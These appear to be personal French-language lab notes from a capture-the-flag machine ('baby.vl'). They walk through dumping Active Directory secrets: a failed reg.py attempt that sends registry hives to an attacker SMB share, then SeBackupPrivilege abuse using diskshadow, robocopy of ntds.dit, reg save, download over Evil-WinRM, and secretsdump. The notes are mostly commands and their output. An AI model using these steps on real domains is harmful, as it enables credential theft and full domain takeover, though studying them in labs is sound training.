## 1ère technique (non fonctionnelle)

<https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets#exfiltration>

### # Practice

#### Exfiltration

UNIX-like   Live Windows   Down Windows

Impacket's reg.py (Python) script can also be used to do the same operation remotely for a UNIX-like machine. For instance, this can be used to easily escalate from a Backup Operator member to a Domain Admin by dumping a Domain Controller's secrets and use them for a DCSync.

## Exfiltration

```

# start an SMB share
smbserver.py -smb2support EXEGOL "/"

# backup all SAM, SYSTEM and SECURITY hives at once
reg.py "baby.vl"/"Caroline.Robinson":"Password123"@10.129.239.191" backup -o
'\\10.10.14.74\EXEGOL'

```

```
[Sep 19, 2025 - 10:47:13 (CEST)] exegol-Retired_HTB /workspace # smbserver.py -smb2support EXEGOL "/"
/root/.pyenv/versions/3.11.11/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.

```

### Note

Toute cette partie là n'a pas fonctionné, je pense à cause du 'Cannot check RemoteRegistry status.', j'ai un HASH non fonctionnel. Je vais tenter l'exfiltration via une technique trouvé sur internet :

## 2ème Technique

<https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960>

### Exfiltration

*création d'un script backup.txt*

```
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
```

--> upload sur le session WINRM

*copie fantôme à l'aide de l'utilitaire diskshadow*

```
diskshadow /s backup.txt
```

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow /s backup.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 9/19/2025 9:18:14 AM
```

```
→ set verbose on
→ set metadata C:\Windows\Temp\meta.cab
→ set context clientaccessible
→ set context persistent
→ begin backup
→ add volume C: alias cdrive
→ create
Excluding writer "Shadow Copy Optimization Writer", because all of its components have been excluded.
```

```
* Including writer "Task Scheduler Writer":
  + Adding component: \TasksStore

* Including writer "VSS Metadata Store Writer":
  + Adding component: \WriterMetadataStore

* Including writer "Performance Counters Writer":
  + Adding component: \PerformanceCounters

* Including writer "System Writer":
  + Adding component: \System Files
  + Adding component: \Win32 Services Files
```

```
* Including writer "ASR Writer":
  + Adding component: \ASR\ASR
  + Adding component: \Volumes\Volume{711fc68a-0000-0000-0000-100000000000}
  + Adding component: \Disks\harddisk0
  + Adding component: \BCD\BCD
```

```
* Including writer "DFS Replication service writer":
  + Adding component: \SYSVOL\8D6E7361-AC28-4EC5-9914-ACB6AE407BCB-2EB58465-8BD4-4748-9135-FE1B23D5A20B
```

```
* Including writer "COM+ REGDB Writer":
  + Adding component: \COM\REGDB
```

Une fois le cliché instantané créé, nous devons maintenant extraire le fichier ntds.dit du lecteur réseau. Pour cela, nous utiliserons l'utilitaire Robocopy :

```
robocopy /b E:\Windows\ntds . ntds.dit
```

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> robocopy /b E:\Windows\ntds . ntds.dit
Robocopy:
-----
ROBOCOPY      ::      Robust File Copy for Windows
-----
3 - Medium
Started : Friday, September 19, 2025 9:23:27 AM
Source : E:\Windows\ntds\
Dest : C:\Users\Caroline.Robinson\Documents\

Files : ntds.dit

Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
-----
Environment:
New File      1      E:\Windows\ntds\
              16.0 m      ntds.dit
0.0%
0.3%
7%
```

Nous extrayons le fichier ntds.dit avec succès, nous avons maintenant besoin d'une clé de décryptage pour décrypter le fichier ntds.dit et en extraire les hachages de mot de passe. Nous utiliserons la commande reg save pour cela :

```
reg save hklm\system system.bak
```

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save hklm\system system.bak
The operation completed successfully.
```

```
download ntds.dit
download system.bak
```

```
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> ls
Directory: C:\Users\Caroline.Robinson\Documents

Mode                LastWriteTime         Length Name
----                -
-a----          9/19/2025   9:16 AM             190 backup.txt
-a----          9/19/2025   9:18 AM        16777216 ntds.dit
-a----          9/19/2025   9:28 AM        20692992 system.bak
```

## Secrets dump

```
secretsdump.py -ntds ntds.dit -system system.bak -hashes lmhash:nthash LOCAL
```

```
